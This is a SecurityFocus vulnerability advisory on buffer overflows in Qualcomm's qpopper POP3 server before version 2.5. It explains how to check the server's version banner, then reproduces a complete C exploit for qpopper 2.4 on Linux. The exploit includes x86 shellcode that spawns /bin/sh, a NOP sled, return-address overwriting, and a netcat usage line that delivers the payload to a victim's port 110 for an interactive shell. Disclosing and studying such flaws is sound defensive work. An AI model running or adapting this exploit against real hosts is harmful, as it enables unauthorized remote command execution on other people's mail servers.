source: http://www.securityfocus.com/bid/133/info

A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version. 

To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example: 

% telnet yourmailhost.your.domain.com 110 
Trying 123.123.123.123 
Connected to mailhost 
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting 

If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.

/* Exploit for qpopper 2.4 (and others) for Linux
 *   by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
 *
 *  usage: (./qpopper <offset>;cat)|nc <victim> 110
 *       with offset around 1000 (try increments of 50)
 *
 *
 *    shout outs to: Zef and YZF
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 998

char shell[] =
   "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
   "\x88\x66\x07\x83\xee\x02\x31\xdb"
   "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
   "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
   "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
   "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
   "\xff\xff/bin/sh";

unsigned long esp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int i,j,offset;
  unsigned long eip;
  char buffer[4096];

  j=0;
  offset=atoi(argv[1]);
  eip=esp()+offset;
  for(i=0;i<1008;i++) buffer[i]=0x90;
  for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

  i=1005;
  buffer[i]=eip & 0xff;
  buffer[i+1]=(eip >> 8) & 0xff;
  buffer[i+2]=(eip >> 16) & 0xff;
  buffer[i+3]=(eip >> 24) & 0xff;

  printf("%s\nsh -i\n",buffer);
}